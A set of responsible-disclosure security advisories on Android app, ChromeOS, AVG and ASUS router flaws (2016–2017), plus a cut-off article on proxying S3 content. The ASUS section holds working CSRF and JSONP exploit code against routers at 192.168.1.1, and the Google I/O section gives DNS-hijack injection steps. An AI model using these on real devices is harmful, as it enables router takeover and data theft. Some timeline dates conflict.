Chrome for Android Didn’t Use FLAG_SECURE for Credit Card Prefill Settings [CVE-2017-5082]

Summary

Chrome for Android did not use the FLAG_SECURE flag in the credit card prefills settings, potentially exposing sensitive data to other applications on the same device with the screen capture permissions. The vendor (Google) fixed this issue in Chrome M59. Google has assigned CVE-2017-5082 to track this issue.

Details

Chrome for Android is a version of the Chrome browser for Android platforms. It used to be part of the Android OS, but is now a separate application deployed by Google through the Google Play store. Chrome has a credit card pre-fills section in settings where users can store credit card information that can be used to pre-fill certain forms.

FLAG_SECURE is a special flag available to Android developers that prevents a particular screen within an application from being seen by other application with screen capture permissions, having screenshots taken by the user, or have the screen captured in the “Recent Apps” portion of Android OS. We have published an extensive post last year discussing this feature is and what it does.

During our testing of various Google mobile applications, we found that the credit card prefills section in Chrome for Android did not use FLAG_SECURE to prevent other applications for capturing that information. By contrast other Google applications like Android Pay and Google Wallet use this flag to prevent capture of sensitive information. Exploiting this bug requires user cooperation in installing a malicious app and activating the actual screen capture process, thus the likehood of exploitation is low.

To reproduce:
1. Open Chrome.
2. To go Settings, Autofill and payments, Credit Cards.
3. Tap on “Add credit card”.
4. Press Power and volume down to capture screenshot.
5. Confirm that a screenshot can be taken.

 

All testing was done on Android 7.1.2, security patch level of May 5th, 2017, on Chrome v58.0.3029.83 (stable).

Vendor Response

This issue was responsibly reported to the vendor via the Chromium bug tracker. The vendor fixed this issue in Chrome release M59 and assigned CVE-2017-5082 to track it.

References

CVE ID: CVE-2017-5082
Chromium Bug # 721579

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-15: Issue patched by the vendor
2016-05-30: CVE assigned by the vendor
2016-06-05: Fixed version released
2016-07-16: Request for public disclosure sent to the vendor
2017-07-26: Permission to disclose received
2017-07-27: Public disclosure

Boozt Fashion Android App Didn’t Use SSL for Login [CVE-2017-11706]

Summary

Boozt Fashion App for Android did not use encryption (SSL) for information transmission during login, exposing usernames and passwords to anyone monitoring the network. The vendor fixed this issue and users should install the latest version (2.3.4 or above). MITRE has assigned CVE-2017-11706 to track this issue.

Details

Boozt Fashion / Boozt.com is a Nordic-based, EU-spanning online store selling  various fashion brands. The vendor makes available an Android application that allows users to shop, checkout and pay for their orders.

While performing network level testing, we discovered that the calls made by the application to the server during login did not use any kind of encryption (SSL). This potentially exposed the usernames and passwords of those using the app to a network-level attacker. According to the vendor, financial information like credit card numbers were not exposed since SSL was used during the checkout process.

To replicate the issue on v2.0.2:

  1. Install the application on the device (may be restricted to EU-only users and require sideloading).
  2. Open the application, tap on the “person” icon until you reach the login screen.
  3. Setup an MITM proxy but do not install the SSL certificate on the device (we used PacketCapture).
  4. Start the proxy. At this point all network traffic will be going through the proxy with the SSL traffic being encrypted by a self-signed certificate which is not trusted by the device.
  5. Go back to the app, put in a fake username and password, and tap the Login button.
  6. Flick away the application.
  7. Go back to the proxy and observe captured traffic.

All testing was done on Android 7 and application version 2.0.2. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Vendor Response

The issue was reported to the vendor via HackerOne. The vendor provided the following comments:

Thanks for the report. At the moment that is an accepted risk. We only have https on the checkout part of the site (most sensitive). However we have a planned change in the roadmap regarding HTTPS introduction in the customer login part.

We are not arguing that the report is not valid. We just inform you that based on our program guidelines this is considered as non-qualifying report. This is because we are aware of the issue and are already working on rolling HTTPS through out the site.

Follow-up testing in July 2017 showed that this was fixed in current version (2.3.4) but may have been fixed earlier as well.

References

CVE ID: CVE-2017-11706
Google Play Link: Google Play Store (may not be available outside of Europe)
HackerOne Report # 166712

Bounty Information

The vendor classified this bug as being outside the guidelines of their bounty program and no bounty was paid.

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-09-07: Initial report to the vendor via HackerOne
2016-09-08: Report triaged by the vendor and closed via HackerOne
2016-09-08: Follow-up communication with the vendor via HackerOne
2016-09-18: Request for disclosure sent via HackerOne
2016-09-19: Follow-up communication with the vendor via HackerOne
2017-07-27: Public disclosure request granted via HackerOne
2017-07-27: Re-testing, CVE request and publication

Advisory: Google’s Android News and Weather App Doesn’t Always Use SSL [CVE-2017-9245]

Summary

Google News and Weather Application for Android does not use SSL for some server calls, exposing authentication tokens (OAuth) to anyone monitoring the network. It is not clear if the tokens belong to the user’s account or a service account. The vendor (Google) fixed the issue in v3.3.1 of the application and users should install the latest version. MITRE has assigned CVE-2017-9245 to track this issue.

Details

The Google News and Weather application for Android is an application developed by Google which aggregates news from multiple sources. This application was originally included as part of the stock Android operating system but was separated into its own application around August 2014.

While performing network level testing of various Google applications, we discovered that some of the calls made by the application to Google’s server did not use SSL. Furthermore, analysis of the captured traffic showed that an authentication token (OAuth) was sent as part of those calls, thus exposing it to an attacker that is monitoring the network. It is not clear from our testing whether this token belonged to the user using the application, or was some sort of a service account.

We also did not test earlier versions of the application, so it is also unclear whether this issue affects older versions of Android where this is part of the stock operating system.

To replicate the issue on v3.1.4:

  1. Install the application and open it.
  2. Flick away the application.
  3. Setup the proxy without an SSL certificate and point the Android device to it.
  4. Go back to the application and select any news feed, and then click on a news article from a site that doesn’t use SSL.
  5. Go back to the proxy and observe captured traffic.

All testing was done on Android 7 and application v3.1.4. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Screenshots below – note that sensitive data has been blanked out:

s2   s3

Vendor Response

This issue was responsibly reported to the vendor and fixed in version 3.3.1 which was released in late June 2017. It is not clear if older versions of Android that include this as part of the OS are affected and/or fixable.

References

CVE ID: CVE-2017-9245
News and Weather App: Google Play Store

Bounty Information

This bug satisfied the rules of the Google Vulnerability Reward Program (VRP) program and a bounty was paid.

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-11: Report triaged by the vendor and bug filed
2017-05-26: Bounty decision received from vendor
2017-06-29: Fixed version released by the vendor
2017-07-12: Fixed version tested to confirm the fix
2017-07-12: Draft advisory sent to vendor for comment
2017-07-18: Public disclosure

AVG AntiVirus for MacOS Doesn’t Scan Inside Disk Images [CVE-2017-9977]

Summary

AVG AntiVirus for MacOS does not scan files inside disk images (DMG) files in the on-demand scanner. Real-time scanning and compressed archives such as ZIP files were scanned properly.

The vendor did not consider this to be a security issue but an enhancement, and released a fix in engine version 4668. MITRE has assigned CVE-2017-9977 for this issue.

Details

AVG provides various anti-virus products for multiple platforms including MacOS. During our testing, we found that AVG AntiVirus for MacOS did not scan files inside disk images (DMG) files.

To replicate, do the following:

  1. Download the EICAR test file.
  2. Open the Disk Utility in MacOS, and create a new image.
  3. Drag the EICAR file to the mounted disk image, then right click on the image and un-mount.
  4. Install AVG antivirus, open AVG and drag the disk image to the real time scanner slot. Observe that no virus is detected.

We did not test other disk image types such as ISO but presume there are probably impacted as well.

Vendor Response

The vendor response is as follows:

OK, we consider this as a new feature request — to traverse DMG file in on-demand scan. But there is no security impact, because once the DMG is mounted, on-access scanner protects you from opening malware files.

Nevertheless, the issue was fixed in engine version 4668 in October 2016, and was confirmed again in version 17.2, virus database 170626-4.

References

CVE ID: CVE-2017-9977

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-05-08: Initial report to the vendor via BugCrowd
2016-05-10: Follow up report to the vendor
2016-05-12: Communication with the vendor
2016-05-13: Issue confirmed by the vendor
2016-10-05: Fix released and confirmed
2017-04-18: Request for public disclosure via BugCrowd
2017-04-19: Vendor is ok with public disclosure, asks for advance copy of the advisory
2017-06-28: Fix re-confirmed and proposed advisory shared with the vendor
2017-07-06: Public disclosure

Advisory: WhatsApp for Android Privacy Issues with Handling of Media Files [CVE-2017-8769]

Summary

WhatsApp Messenger for Android does not delete sent and received files from the SD card on the device when chats are cleared, deleted or the application is uninstalled from the device. Additionally, the application stores sent and received files in the SD card without encryption where they are accessible to any applications with storage permissions.

The vendor (Facebook) doesn’t consider these to be security issues and does not plan to fix them. MITRE has assigned CVE-2017-8769 for these issues. It is also unclear whether platforms other than Android are affected.

Background

WhatsApp Messenger is a popular cross-platform communication tool that allows users to send and receive messages without using more expensive protocols like SMS. Additionally the application allows sending and receiving of files including audio, contacts, images, videos and arbitrary documents. It is estimated that WhatsApp has over 1 billion active users and it is owned by Facebook, which also operates the largest social networking site in the world.

One of the main selling points that WhatsApp makes is their commitment to user privacy which revolves around the implementation of end-to-end encryption via the Signal protocol originally developed by Open Whisper Systems. This encryption makes it impossible for Facebook to monitor and capture message traffic flowing between users. In some extreme cases, Facebook executives have been placed in jail for the failure to allow access to messaging data when requested by governments.

Because of the high expectation of privacy by WhatsApp user, it is important that the security of the application on the device is also properly implemented. In regards to messages, WhatsApp stores them in encrypted database but it fails to do the same for files. WhatsApp also does not clear files received or sent by the user when the chats are cleared. This can result in user data being leaked or stolen by malicious applications, law enforcement during illegal searches or unwanted actors having access to the device (“evil maid scenario”).

Vulnerability Details

As mentioned above, WhatsApp has ability to send and receive files in addition to regular messages. This functionality includes arbitrary documents from the file system, contacts, location information, and various type of multimedia files including two separate audio formats (voice notes and recordings), images and videos. There is also more recent functionality around “status” images which disappear after 24 hours. In order for WhatsApp to access the SD card, users must grant storage permissions but in practice most users do so in order to be able to exchange files.

In our research, we have found that WhatsApp for Android stores these files on the SD card where they are accessible to other applications and does not delete them when chats are cleared, deleted or the application is uninstalled. Both sent and received files are retained. They are retained on the SD card in the following folder:

  • /WhatsApp/Media/

We have observed that the following file types are retained and not deleted:

  • /WhatsApp/Media/.Statuses/
  • /WhatsApp/Media/WhatsApp Audio/
  • /WhatsApp/Media/WhatsApp Documents/
  • /WhatsApp/Media/WhatsApp Images/
  • /WhatsApp/Media/WhatsApp Video/
  • /WhatsApp/Media/WhatsApp Voice Notes/

Screenshot_20170512-000800

To replicate the issue:

  1. Install WhatsApp for Android.
  2. Login and exchange messages with another user that contain any of the file type listed above.
  3. Then, install any file manager for Android.
  4. Navigate to the SD card, and observe the files sent and received being located in the directories described above.

As the next step, try to delete a chat by tapping on the chat, holding until the delete option comes up. Delete the chat, and go back to the file manager to check.

As the next step, try going to “Settings”, “Chats”, “Chat History” and selecting either “Clear all chats” or “Delete all chats”. Go back to the file manager and observe the media files still being present.

Screenshot_20170512-000723

As the next step, uninstall WhatsApp. Go back to the file manager, and observe the media files still being there.

All testing was done on Android 7, and WhatsApp Messenger v2.17.146. It is unclear whether other platforms are affected.

Vendor Response and Mitigation Steps

The vendor (Facebook) doesn’t consider these to be security issues and has no plans to fix them. Vendor response is as follows:

Thanks again for your report. We contacted the WhatsApp team about your report, and they confirmed that the behavior you describe is intentional. They designed the Android app to optimize for the storage space available on devices and allow media in WhatsApp to be visible in other apps like the Google Photos gallery. WhatsApp doesn’t assume that clearing the chat means clearing the media files as well. While the behavior might change in the future, we currently don’t have any plans to do so.

The vendor also noted that on Windows Phone, there is a setting that stops the application from saving media files that are received by the user.

It is recommended that users regularly check the folders listed above on the SD card and empty them as needed. For those users who desire higher security, it may be prudent to reformat or encrypt the SD card, or destroy the SD card if needed in order to delete these files.

References

CVE ID: CVE-2017-8769
CWE IDs: CWE-359 (“Exposure of Private Information”)
Facebook security reference # 10101277738643365

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-04-09: Initial report to Facebook
2017-04-14: Email exchange with the vendor
2017-04-20: Email exchange with the vendor
2017-04-03: Email exchange with the vendor
2017-05-09: Email exchange with the vendor
2017-05-16: Email exchange with the vendor
2017-05-17: Email exchange with the vendor
2017-05-17: Public disclosure

Advisory: Google I/O 2017 Android App Doesn’t Use SSL for Some Content [CVE-2017-9045]

Summary

Google I/O 2017 Application for Android does not use SSL for retrieving some information to populate the app. This would allow an MITM attacker to inject their own content into the application. The vendor (Google) fixed the issue in v5.1.4 of the application.

Details

The Google I/O 2017 application for Android is a companion app produced by Google for their annual I/O conference that takes place in May. This particular version was produced for I/O conference in May of 2017.

While performing network level testing of various Google applications, we discovered that the content for the application did not use SSL. This would allow an MITM attacker to inject their own content into the application using a method like ARP spoofing, DNS takeover, etc.

To replicate the issue on v5.0.3:

  1. Install the application
  2. Setup the proxy without an SSL certificate and point the Android device to it.
  3. Go to the application and select the “feed” option (middle icon on the bottom).
  4. Go back to the proxy and observe captured traffic.

Screenshots of the feed before and after the data is loaded:

Screenshot_20170516-205242  Screenshot_20170516-220959

Network traffic captures appear as follows:

Screenshot_20170511-202707   Screenshot_20170511-202713

The specific URL was “http://storage.googleapis.com/io2017-festivus/manifest_v1.json” which then causes the device to download additional URLs. The following URLs are downloaded:

This can also be seen in the source code of the I/O 2016 application on Github as follows:

google_github

All testing was done on Android 7, Google I/O version 5.0.3. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Proof of Concept

All testing was done on Ubuntu v17.04 and Android 7:

  1. Install nginx – “sudo apt-get install nginx”.
  2. Install dnsmasq – “sudo apt-get install dnsmasq”
  3. Find out the IP address of your computer via ifconfig.
  4. Add the IP address mapping to the hosts file: “192.168.1.x  storage.googleapis.com”
  5. Create and download the files from Google to the NGINX directory:
    1. cd /var/www/html
    2. mkdir io2017-festivus
    3. cd io2017-festivus
    4. wget http://storage.googleapis.com/io2017-festivus/manifest_v1.json
    5. wget http://storage.googleapis.com/io2017-festivus/blocks_v4.json
    6. wget http://storage.googleapis.com/io2017-festivus/map_v4.json
    7. wget http://storage.googleapis.com/io2017-festivus/session_v1.70.json
  6. Modify “blocks_v4.json” to add your content.
  7. Install version 5.0.3 of the application on the Android device.
  8. Change DNS on the device to point to the Ubuntu machine.
  9. Open the app, skip sign in, and on the main screen choose the feed icon.
  10. Switch back to the first section and observe injected content:

Screenshot_20170516-223446

Vendor Response

This issue was responsibly reported to the vendor and fixed in version 5.1.4.

References

CVE ID: CVE-2017-9045

Google I/O 2016 source code: https://github.com/google/iosched

Bounty Information

Pending…

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-11: Report triaged by the vendor and bug filed
2017-05-13: Fixed version released by the vendor
2017-05-16: Draft advisory sent to vendor for comment
2017-05-17: Public disclosure

Multiple Vulnerabilities in ASUS Routers

Summary

Various models of ASUS RT routers have several CSRF vulnerabilities allowing malicious sites to login and change settings in the router; multiple JSONP vulnerabilities allowing exfiltration of router data and an XML endpoint revealing WiFi passwords.

Most of these issues have been fixed by Asus in the March 2017 firmware update under v3.0.0.4.380.7378. One issue (JSONP information disclosure – CVE-2017-5892) remains unfixed since the vendor doesn’t consider it to be a security threat.

CVE-2017-5891 has been assigned to the CSRF issues, and CVE-2017-5892 to cover the JSONP disclosure without login issue. [ADDED 05/11/2017: Two additional CVEs have been issued to cover JSONP issues after login – CVE-2017-887 – and the XML information disclosure issue – CVE-2017-8878].

[ADDED 05/28/2017: As reported in comments below, multiple other models may be affected; please review the list below for details on what is affected, and whether patches are available]

Vulnerability Details

RT routers from ASUS like many other routers come with a built-in web interface accessible over the local network but normally not accessible via the Internet. We discovered multiple issues within that web interface that would can facilitate attacks on the router either via a malicious site visited by a user on the same network, or a malicious mobile or desktop application running on the same network.

For the CSRF vulnerabilities, a user would need to visit a malicious site which can try to login and change settings. For the JSONP vulnerabilities, a website can load the JSONP endpoints via SCRIPT tags as long as matching function name is defined on that site. The XML endpoint requires a mobile or desktop application to exploit.

NOTE: all of these assume that the attacker knows the local IP address of the router. This could probably be guessed or be determined via Javascript APIs like WebRTC. For desktop and mobile applications, determination of the gateway address should be trivial to implement.

Issue #1 – Login Page CSRF (CVE-2017-5891)

The login page for the router doesn’t have any kind of CSRF protection, thus allowing a malicious website to submit a login request to the router without the user’s knowledge. Obviously, this only works if the site either knows the username and password of the router OR the user hasn’t changed the default credentials (“admin / admin”). To exploit, submit the base-64 encoded username and password as “login_authorization” form post, to the “/login.cgi” URL of the browser.

Example of a form that can exploit this issue (uses default credentials):

<form action="http://192.168.1.1/login.cgi"
   method="post" target="_blank">
<input name="login_authorization" type="text"
   value="YWRtaW46YWRtaW4=" />
<input type="submit" /></form>

Issue #2 – Save Settings CSRF (CVE-2017-5891)

The various pages within the interface that can save settings do not have CSRF protection. That means that a malicious site, once logged in as described above would be able to change any settings in the router without the user’s knowledge.

NOTE: We have not been to exploit this issue consistently

Issue #3 – JSONP Information Disclosure Without Login (CVE-2017-5892)

Two JSONP endpoints exist within the router which allow detection of which ASUS router is running and some information disclosure. No login is required to the router. The vendor doesn’t consider these endpoints a security threat. [ADDED 05/11/2017: A project named Sonar.JS exists on Github that describes how to use this with WebRTC to figure out which router the user is running, This project is an example of what is possible with an end point like this one].

The endpoints are as follows:

  • /findasus.json
    • Returns the router model name, SSID name and the local IP address of the router
      • iAmAlive([{model?Name: “XXX”, ssid: “YYY”, ipAddr: “ZZZZ”}])
  • /httpd_check.json
    • Returns: {“alive”: 1, “isdomain”: 0}

Exploit code as follows:

function iAmAlive(payload) {
  window.alert("Result returned: " + JSON.stringify(payload));
}
function alert1() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/findasus.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}
function alert2() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/httpd_check.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}

Issue #4 – JSONP Information Disclosure, Login Required (CVE-2017-8877)

There exist multiple JSONP endpoints within the router interface that reveal various data from the router including.

Below is a list of endpoints and exploit code:

/status.asp – Network Information

function getstatus() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/status.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function show_wanlink_info() {
    var obj = {};
    obj.status = wanlink_status();
    obj.statusstr = wanlink_statusstr();
    obj.wanlink_type = wanlink_type();
    obj.wanlink_ipaddr = wanlink_ipaddr();
    obj.wanlink_xdns = wanlink_xdns();
    window.alert(JSON.stringify(obj));
}

<br/>
<button onClick="getstatus()">Load Status script</button>
<button onClick="show_wanlink_info()">Show wanlink info</button>
<br/><br/>

/wds_aplist_2g.asp – Surrounding Access points, 2.4 Ghz band

/wds_aplist_5g.asp – Surrounding Access points, 5 Ghz band

 

function getwds_2g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_2g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function getwds_5g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_5g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwds_2g()">Load 2G info</button>
<button onClick="getwds_5g()">Load 5G info</button>
<button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button>
<br/><br/>

/update_networkmapd.asp – Network map of devices on the network

function getmap() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_networkmapd.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getmap()">Load Network map</button>
<button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show Map</button>
<br/><br/>

/update_clients.asp – Origin data

function getorigin() {
    originData = [];
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_clients.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getorigin()">Load Origin</button>
<button onClick="window.alert(JSON.stringify(originData))">Show Origin</button>

/get_real_ip.asp – External IP address

function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>

/get_webdavInfo.asp – WebDAV information

function getwebdav() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_webdavInfo.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwebdav()">Load WebDav</button>
<button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button>
<button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button>
<br/><br/>

Issue #5 – XML Endpoint Reveals WiFi Passwords (CVE-2017-8878)

An XML endpoint exists in the router which reveals the WiFi password to the router but to fully exploit this issue, it would require a mobile or desktop application running on the local network since XML cannot be loaded cross origin in the browser. This endpoint can be accessed at the following URL and requires login:

[router IP]/WPS_info.xml

Mitigation Steps / Vendor Response

Users should change the default credentials and apply the latest firmware released by ASUS, version v3.0.0.4.380.7378 or higher (except for 4G-AC55U which has no patches available).

There is no mitigation available for the issue #3 – JSONP information disclosure without login.

Affected models include the following ASUS routers and is not exhaustive:

  • 4G-AC55U – [ADDED 05/10/2017, patches are available as of 06/13/2017]
  • RT-AC51U
  • RT-AC52U B1 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC53 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC53U
  • RT-AC55U
  • RT-AC56R
  • RT-AC56S
  • RT-AC56U
  • RT-AC58U – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected] [ADDED 06/15/2017 – firmware update now available]
  • RT-AC66U
  • RT-AC68U
  • RT-AC68UF – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC66R
  • RT-AC66U
  • RT-AC66W
  • RT-AC68W
  • RT-AC68P
  • RT-AC68R
  • RT-AC68U
  • RT-AC87R
  • RT-AC87U
  • RT-AC88U – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1200 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1750 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1900P
  • RT-AC3100
  • RT-AC3200
  • RT-AC5300
  • RT-AC1200G+ – [ADDED 06/15/2017: based on a comment below]
  • RT-ACRH13 – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected and has no patches]
  • RT-N11P
  • RT-N12 (D1 version only)
  • RT-N12+
  • RT-N12E
  • RT-N16 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-N18U
  • RT-N56U
  • RT-N66R – [07/20/2017 – as per commenter below, new firmware was released on July 17th, 2017 – v3.0.0.4.380.7743]
  • RT-N66U (B1 version only)
  • RT-N66W
  • RT-N300 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-N600 – [ADDED 05/10/2017 based on Asus Firmware updates]

References

CVE-IDs: CVE-2017-5891, CVE-2017-5892, CVE-2017-8877 and CVE-2017-8878

CERT/CC Tracking # VR-627

Credits

We would like to thank CERT/CC for helping to coordinate the disclosure process. This advisory was written by Yakov Shafranovich.

Timeline

2017-01-21: Initial contact with the vendor
2017-01-23: Initial contact with CERT/CC
2017-02-05: Vulnerability details and POC code provided to the vendor, CVEs requested
2017-02-10: Vulnerability analysis received from the vendor
2017-02-12: Beta firmware provided by the firmware to test fixes
2017-02-12: Vendor fixes confirmed

2017-03-31: Fixed firmware released publicly by the vendor

2017-05-01: Draft advisory shared with the vendor and CERT/CC

2017-05-09: Public disclosure

Advisory: ChromeOS / ChromeBooks Persist Certain Network Settings in Guest Mode

Summary

Certain network settings in ChromeOS / ChromeBooks persists between reboots when set in guest mode. These issues have been reported to the vendor but will not be fixed since the vendor considers them to be WAI (Working As Intended). These attacks require physical access to the device in order to execute them but future avenues of research looking at network vectors should be undertaken.

Background

ChromeOS is the operating system developed by Google that runs on ChromeBook devices. It is build on top of Linux and around the Chrome browser. The OS has a guest mode which runs Chrome in anonymous mode on top of a temporary guest account. The data within that account is stored in RAM and is erased upon reboot. However, it appears from our research that some settings, especially network related ones, reside elsewhere and do persist between reboots.

Our original interest in this area was prompted by a standing $100,000 USD bounty offered by Google to an exploit “that can compromise a Chromebook or Chromebox with device persistence in guest mode (i.e. guest to guest persistence with interim reboot, delivered via a web page)”. While we have not been able to deliver these attacks via a web page, we did achieve some persistence in network settings in guest mode via physical access. Further research is needed to achieve remote exploitation.

Details

The following network settings were observed in guest mode as persisting between reboots if the change is made by a guest user while the Chromebook is in guest mode:

  • Details of WiFi network such as password, authentication, etc.
  • Preferred WiFi network
  • DNS settings on the currently connected WiFi network

To replicate, do the following:

  1. Login as a guest into the Chromebook.
  2. Click on settings, and:
    • Try to remove a WiFi network and add a new preferred network;
    • Or change settings for an existing network;
    • Or change DNS servers for an existing network
  3. Reboot, re-enter guest mode and observe settings persisting

The following settings only persist when changes are made on the login screen. If a user logs in as a guest user or a Google account, this goes away:

  • Proxy settings

To replicate:

  1. Start the Chromebook until Login prompt appears. DO NOT login.
  2. Click on settings, change the proxy settings in the current network.
  3. Reboot and go back to the login screen, confirm settings for proxy do persist.
  4. Login to an existing account or as guest, check settings again and observe that proxy settings are now greyed out.

Implications of this are most important in scenarios where a shared Chromebook is used in a public environment such as a library, school, etc. Using these attacks, a malicious user can modify the settings on a public ChromeBook to point to malicious DNS (like DNS Changer virus) or malicious WiFi hotspot, and subsequent users will not realize that their sessions are affected.

We have not been able to achieve remote exploitation, but an existing private Chrome API (chrome.networkingPrivate) would provide access to these settings even in guest mode. This API is not normally available via the Web, so an additional browser exploit would need to be chained to the issues described here to achieve a complete exploit. Another thing to note is that while guest mode normally runs under a RAM disk which is erased after the device is rebooted, the network settings appear to reside elsewhere within the device. That can be used as a further area of possible attacks.

All testing was done in 2016 on the following system, and it is not clear if other ChromeBook hardware is affected:

  • Device: Acer C7 Chromebook
  • Chrome Versions: 49.0.2623.95, 49.0.2623.111 and 51.0.2704.106 (stable)
  • ChromeOS Versions: 7834.60.0, 7834.66.0 and 8172.62.0 (stable parrot)

Vendor Response

The vendor has rejected all of these issues as WAI – working as intended. The vendor has provided the following explanation:

First of all, note that there are quite a few ways for network settings to propagate into sessions. DNS and proxy (per issue 627299) settings are just two of them. You can go further and just join the device to a malicious WiFi network that it’ll pick up again after rebooting (this is possible from the login screen, no need to start a guest session). Edit: There are more issues filed for these cases, cf. issue 600194 and issue 595563.

If we were to crack down on propagation of (malicious) network settings into sessions, we’d take quite a UX hit, as we’d have to prompt the user to reconfirm their network settings whenever the device is connected to a network that user hasn’t yet approved (and it’s quite unlikely for this to be effective). The alternative of only allowing the device owner to configure networks doesn’t fly either as it has the potential to lock out legitimate users.

Regarding programmatic injection of network settings, there is (1) device policy, which is already properly locked down (i.e. only open to enterprise admins, and settings aren’t Chrome-writable) and (2) chrome.networkPrivate, which is used by the settings screens and (3) direct DBus communication to shill. #2 and #3 require a Chrome browser exploit.

Even if malicious network config gets picked up by a session, it’s not entirely game over – TLS will flag maliciously redirected requests (assuming the attacker doesn’t have forged certs). There’s a chance of information leakage via insecure connections and/or observing the network though.

Given the above, the currently implemented trade-off is reasonable, so I’ll close this (and related bugs) as WAI. I’ve also updated the chromiumos sites page mentioned above – networks were never part of the protected device settings anyways, so the cited half-sentence was inaccurate from the start AFAICT.

Additional comments from the vendor:

It may be worth noting, as per your original interactions, that the current behavior is by design.  Networks may be marked shared or unshared by users, but networks added before sign-in are necessarily global in nature.  The default behavior is one meant to minimize unintended side effects — such as one user changing the proxy on another using the same shared network.  Beyond that, there is very little difference between connecting to a malicious upstream network and connecting to a non-malicious upstream network.  The security of the OS and its communications, using TLS, should remain unperturbed.  Guest mode itself does not provide stronger transit privacy guarantees by default as there are few default options for offsetting normal information leakage, such as DNS resolution or IP traffic.

References

Chrome Bugs: 595563, 600194, 600195 and 627299
Chrome Rewards bounty details: see here
Private networking API: see here

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-03-17: Bug 595563 reported
2016-03-21: Bug 595563 rejected
2016-04-03: Bugs 600194 and 600195 reported
2016-07-12: Bug 627299 reported
2016-08-09: Bugs 600194, 600195, 627299 rejected and opened to the public
2016-10-02: Bug 595563 opened to the public
2017-03-08: Copy of this advisory provided to Google for comment
2017-04-07: Final comments received from Google
2017-04-09: Public disclosure

Research: The Dangers of Proxying S3 Content

Background

It is common for organizations to use Amazon’s S3 service as a place to host static assets and other content. The content within Amazon S3 is organized in “buckets”. Amazon also provides ability to point custom domains at S3 buckets through virtual hosting or the static website endpoints. In both cases, a CNAME mapping is created from the custom domain to an Amazon domain name.

However, SSL support is not available via the custom domain name, but SSL is provided if either “s3.amazonaws.com/<bucket-name>” URL or the “<bucket-name>.s3.amazonaws.com” domain name is used directly (as long as there are no periods in the bucket name). The reason why SSL doesn’t work when accessing the plain domain names is because Amazon is not able to provide certificates for them because they are not the domain owner and current S3 functionality does not allow custom certificates to be loaded. However, for “s3.amazonaws.com” domains, Amazon provides a wildcard certificate which works just fine. If you try to access the domain names directly, you will be served content with the same wild card certificate which of course would not match the domain names.

Possible SSL solution – CloudFront or Another CDN

One possible solution offered by AWS is to use their CDN offering called CloudFront. In that case, you can setup two CloudFront domains that sit in front of the S3 buckets and CNAME your domain names to them. This of course comes at a higher price and a confusing set of options: you can use the cloudfront.net subdomains, or a free SNI-enabled SSL certificate not compatible with older browsers or a costly ($600/month/per domain) option to upload your own SSL certificate. The data would then flow as follows:

[S3] >—-internal AWS network—-> [CloudFront] >—–SSL—-> [users]

Another set of solutions is to use a non-AWS CDN like CloudFront, etc. and have the CDN proxy the content with SSL. The setup would be similar to Amazon with SNI and non-SNI SSL options available. The data flow would then look like this (for CloudFlare):

[S3] >—-HTTP—-> [CloudFlare] >—–SSL—-> [users]

What You Should Not Do – Proxy S3 Content Yourself

Of course many developers would immediately react to this particular problem in the same way: I can do it better by myself! The usual solutions is to have a script or a webserver rule that will automatically retrieve the content from S3 and display it to the user. So it would look like this:

Everything after “/static/” would that be retrieved from some S3 bucket, let’s say “marketing.example”. So the following path would be followed:

Of course this only lasts as long as there is only one bucket. Let’s say now another bucket is needed called “support.example”. So the script will become something like with the bucket name in the URL:

What will often happen at this point is that the developer will not realize that the bucket names need to be validated against a whitelist of valid buckets. Because S3 bucket names are not unique to one AWS user but share a global namespace across all S3 users, this script would be able to retrieve data from any other S3 bucket, as long as it is public. This will not happen when using CloudFront or other CDNs because they will be mapped 1-to-1 against a specific S3 bucket.

